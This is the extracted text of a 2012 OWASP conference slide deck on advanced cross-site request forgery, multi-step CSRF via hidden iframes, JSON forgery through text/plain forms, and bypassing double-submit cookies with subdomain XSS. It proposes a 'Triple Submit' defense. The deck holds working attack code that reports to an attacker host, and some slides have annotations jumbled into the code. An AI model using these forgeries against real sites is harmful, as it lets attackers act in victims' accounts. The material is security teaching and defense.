Advanced CSRF and Stateless Anti-CSRF

7,447 views

Published on

Published in: Technology, Design
3 Comments
13 Likes
Statistics
Notes
No Downloads
Views
Total views
7,447
On SlideShare
0
From Embeds
0
Number of Embeds
32
Actions
Shares
0
Downloads
166
Comments
3
Likes
13
Embeds 0
No embeds

No notes for slide
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Advanced CSRF and Stateless Anti-CSRF

    1. 1. Advanced CSRF and Stateless Anti-CSRF@johnwilander at OWASP AppSec Research 2012
    2. 2. Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden@johnwilanderjohnwilander.com (music) johnwilander.se (papers etc)
    3. 3. Some QuickCSRF Basics
    4. 4. Cross-Site Request Forgery Request Fo rgery Cro ss- Sit e
    5. 5. Cross-Site Request Forgery Request Forgery Cros s-Si te Ph ish ing
    6. 6. What’s on your mind? What’s on your mind? POST POST
    7. 7. What’s on your mind? What’s on your mind?I love OWASP! POST POST
    8. 8. What’s on your mind? What’s on your mind?I love OWASP! POST POSTJohn: I love OWASP!
    9. 9. What’s on your mind? What’s on your mind? POST POST
    10. 10. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
    11. 11. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
    12. 12. What’s on your mind? What’s on your mind? POST I hate OWASP! POSTJohn: I hate OWASP!
    13. 13. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form">John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $(#form).submit(); }); </script>
    14. 14. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit"What’s on your mind? What’s on your mind? value="POST"/> POST </form>John: I hate OWASP! <script> $(document).ready(function() { $(#target).submit(); }); </script>
    15. 15. Multi-Step,Semi-Blind CSRF
    16. 16. What about ”several steps”? Step 1 Step 2 Step 3 State built up i steps, server roundtrip in-between
    17. 17. Step 1 Step 2 Step 3 st ue ll r eq wi ed tep ous rg t s o s F a re vi l p to the m iss
    18. 18. Can we forge timed GETs andPOSTsin a deterministic, non-blindway? Step 1 Step 2 Step 3 1 2 3 4
    19. 19. csrfMultiDriver.html invisible iframe csrfMulti0.html
    20. 20. csrfMultiDriver.html invisible invisible iframe iframe target0.html csrfMulti1.html Wait
    21. 21. csrfMultiDriver.html invisible invisible invisible iframe iframe iframe target0.html target1.html csrfMulti2.html Wait
    22. 22. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html csrfMulti3.html Wait
    23. 23. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html target3.html
    24. 24. Lets look atAn iframed CSRFGet
    25. 25. Invisible iframe for timed GET<!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
    26. 26. The iframed page configures which URL to CSRF against via a JavaScript-<!DOCTYPE html> variable.<html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
    27. 27. <!DOCTYPE html><html><head> <script> When the iframesGET_SRC = done var IFRAME_ID = "0", DOM is "http://www.vulnerable.com/some.html?param=1"; loading IFRAME_GETTER.onload() is </script> called. <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
    28. 28. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = Lets"http://www.vulnerable.com/some.html?param=1"; look at iframeGetter.js … </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
    29. 29. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
    30. 30. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); IFRAME_GETTER.onload() makes sure imgElement.setAttribute("width", "0"); that the iframe reports back to the imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); main page once every second. document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } so called heart beat function. A};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
    31. 31. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { In practice, document.createElement("img"); imgElement = the heart beats are delivered via postMessage between imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); the iframe and the main page. imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
    32. 32. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { The GET CSRF is"https://attackr.se:8444"); executed with an parent.postMessage(IFRAME_ID, } <img src="vulnerable URL"> if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
    33. 33. var IFRAME_GETTER onerror event will fire The = {};IFRAME_GETTER.reportAndGet = function() { does since the vulnerable URLIFRAME_GETTER.haveGotten = false; not respond with an image. We var imgElement; if(parent != undefined) { use that event to stop the parent.postMessage(IFRAME_ID, heart beat function. No heart "https://attackr.se:8444"); } beat means the main page if(!IFRAME_GETTER.haveGotten) { imgElement = this step is done and knows document.createElement("img"); imgElement.setAttribute("src", GET_SRC); can continue opening the next imgElement.setAttribute("height", "0"); iframe. imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
    34. 34. Lets look atAn iframed CSRFPost
    35. 35. <!DOCTYPE html><html> Invisible iframe for timed<head> <script> POST var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
    36. 36. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "1"; </script> The vulnerable URL can be <script src="../iframePoster.js"></script></head> found in the form to be<body onload="IFRAME_POSTER.onLoad()"> posted.<form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
    37. 37. <!DOCTYPE html><html><head> <script> When the iframes DOM is done var IFRAME_ID = "1"; loading IFRAME_POSTER.onload() </script> is <script src="../iframePoster.js"></script></head>called.<body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
    38. 38. <!DOCTYPE html><html><head> Lets IFRAME_ID iframePoster.js <script> var look at = "1"; … </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
    39. 39. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); IFRAME_POSTER.havePosted = true; }};IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster
    40. 40. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { makes sure IFRAME_POSTER.onload() thedocument.forms[target].submit(); main iframe reports back to the IFRAME_POSTER.havePosted = true; page once every second. Again, a }}; heart beat function.IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster
    41. 41. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); The heart beats stop automatically } when the POST is done since the if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); iframe is loaded with thetrue; IFRAME_POSTER.havePosted = response }}; from the web server that got the POST.IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster
    42. 42. The main page configures the order of the CSRF steps, opens iframes and …var CSRF = function(){ var hideIFrames = true, frames = [ {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti0.html} ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti1.html} ], appendIFrame = function(frame) { var domNode = <iframe src=" + frame.src + " height="600" width="400" + (hideIFrames ? style="visibility: hidden" : ) + ></iframe>; $("body").append(domNode); };… csrfMultiDriver.ht
    43. 43. return { … listens on checkIFrames : function() { var frame; heart beats to for (var i = 0; i < frames.length; i++) { frame = frames[i]; time every iframe if (!frame.hasOpenedIFrame) { appendIFrame(frame); frame.hasOpenedIFrame = true; break; // Only open one iframe at the time } else if(frame.hasPosted == "no") { frame.hasPosted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasPosted == "maybe") { frame.hasPosted = "yes"; break; // iframe not done posting, wait } else if (frame.hasPosted == "yes") { continue; // Time to allow for the next iframe to open } } }, receiveMessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfMultiDriver.ht
    44. 44. Demo Multi-Step,Semi-Blind CSRF against amazon.com which has protection against this.The intention is to show how you can test your own sites.
    45. 45. There used to be aprotection in web 1.5
    46. 46. Forced Browsing wizard-styleShipment info ✉ Payment info $ Next Buy!
    47. 47. Forced Browsing wizard-styleShipment info ✉ Payment info $ Token Next Buy!
    48. 48. Forced Browsing wizard-styleShipment info ✉ Payment info $ Re-Auth Next Buy!
    49. 49. Forced Browsing wizard-styleToken 1 Token 2 Token 3
    50. 50. Forced Browsing wizard-styleToken 1 Token 2 Token 3State built up i steps, server roundtrip in-between
    51. 51. Forced Browsing wizard-styleToken 1 Token 2 Token 3 fo rge n’t to uld est Co qu re t step las out a w tith oken va lid
    52. 52. But in RIAs ...
    53. 53. RIA & client-side state { ”purchase”: {} }
    54. 54. RIA & client-side state { ”purchase”: { ”items”: [{}] } }
    55. 55. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
    56. 56. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
    57. 57. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
    58. 58. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
    59. 59. Can an attackerforge such a JSON structure?
    60. 60. CSRF AgainstRESTful Services
    61. 61. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
    62. 62. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
    63. 63. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
    64. 64. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
    65. 65. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that looks like this: <input type="text" name=”” theName=theValue value="" /> ... and that’s not valid JSON. <input type="submit" value="Go" /></form>
    66. 66. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name={"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}// value="dummy" /> <input type="submit" value="Go" /></form>
    67. 67. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name={"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006"}//=dummy "timestamp": "20111006"}// value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /></form>
    68. 68. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name={"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006", "paddingDummy": " value="} /> <input type="submit" value="Go" />
    69. 69. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name={"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006", "timestamp": "20111006", "paddingDummy": "="} "paddingDummy": " value="} /> ... and that is JSON! <input type="submit" value="Go" />
    70. 70. Demo CSRF POST thenDemo CSRF + XSSThe Browser Exploitation Framework http://beefproject.com/
    71. 71. Important in your REST API • Restrict do CSRF with GETe.g. POST Easier to HTTP method, • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi- part and text/plain
    72. 72. Double Submit (CSRF Protection)
    73. 73. Double Submit (CSRF protection) Anti-CSRF value as cookie ... ... and request parameter
    74. 74. Double Submit (CSRF protection) cookie ≠ request parameter Cannot read the anti-CSRF cookie to include it as parameter
    75. 75. Double Submit (CSRF protection)Anti-CSRF cookie canbe generated client-side=> no server-side state
    76. 76. Demo Double Submit
    77. 77. Are We FullyProtected Now?
    78. 78. Are We FullyProtected Now? Of course not
    79. 79. The Other Subdomainhttps://securish.1-liner.org https://other.1-liner.org Search Buy!
    80. 80. The Other Subdomainhttps://securish.1-liner.org https://other.1-liner.org <script>alert(XSS)</script> Search XSS OK Buy!
    81. 81. The Other Subdomainhttps://securish.1-liner.org https://other.1-liner.org <script> Search $.cookie( "doubleSubmitToken", "knownValue", { path: "/", domain: ".1-liner.org" }); </script> Buy!
    82. 82. Demo SubdomainXSS Double Submit Bypass
    83. 83. Im proposing some sort of Triple Submit CSRF Protection
    84. 84. Triple Submit (CSRF protection) Initial request of rich internet app
    85. 85. Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as JavaScript variable
    86. 86. Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as request parameterStateful:Cookie name saved in server sessionStateless:Server only accepts one such cookie (checks format)
    87. 87. The 3rd Submit• The server sets an HttpOnly cookie with a random name and random value• The server tells the client the value of the random cookie, not the name• The client submits the value of the cookie as a request parameter
    88. 88. The 3rd Submit • The server sets an httpOnly cookieresponse.setHeader("Set-Cookie", randomName a random randomValue + "; with + "=" + name and random value HttpOnly; path=/; domain=.1-liner.org"); • The server tells the client the name and value of the random cookie • The Client submits the name and value of the cookie as a request parameter
    89. 89. The 3rd Submit • The server sets an httpOnly cookie with a random name and random value<script> •var ANTI_CSRF_TRIPLE the client the name %>; The server tells = <%= randomValue</script> value of the random cookie and • The Client submits the name and value of the cookie as a request parameter
    90. 90. The 3rd Submit• Cookie value as parameter• The cookie name• The cookie value
    91. 91. My Demo System is Being Released as an OWASP• https://www.owasp.org/index.php? title=OWASP_1-Liner• https://github.com/johnwilander/ owasp-1-liner
    92. 92. Thanks!@johnwilander

    ×